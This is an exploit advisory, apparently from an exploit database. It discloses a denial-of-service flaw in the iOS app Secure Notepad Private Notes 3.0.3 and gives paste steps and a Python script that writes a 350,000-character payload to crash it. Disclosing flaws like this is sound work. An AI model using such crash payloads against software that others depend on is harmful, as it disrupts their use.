Secure Notepad Private Notes 3.0.3 Denial Of Service

`# Exploit Title: Secure Notepad Private Notes 3.0.3 - Denial of Service (PoC)  
# Date: 06-14-2021  
# Author: Geovanni Ruiz  
# Download Link: https://apps.apple.com/us/app/secure-notepad-private-notes/id711178888  
# Version: 3.0.3  
# Category: DoS (iOS)  
  
##### Vulnerability #####  
  
Secure Notepad - Private Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:  
  
# STEPS #  
# Open the program.  
# Create a new Note.  
# Run the python exploit script payload.py, it will create a new payload.txt file  
# Copy the content of the file "payload.txt"  
# Paste the content from payload.txt twice in the new Note.  
# Crashed  
  
Successful exploitation will cause the application to stop working.  
  
I have been able to test this exploit against iOS 14.2.  
  
##### PoC #####  
--> payload.py <--  
#!/usr/bin/env python  
buffer = "\x41" * 350000  
  
try:  
f = open("payload.txt","w")  
f.write(buffer)  
f.close()  
print ("File created")  
except:  
print ("File cannot be created")  
  
`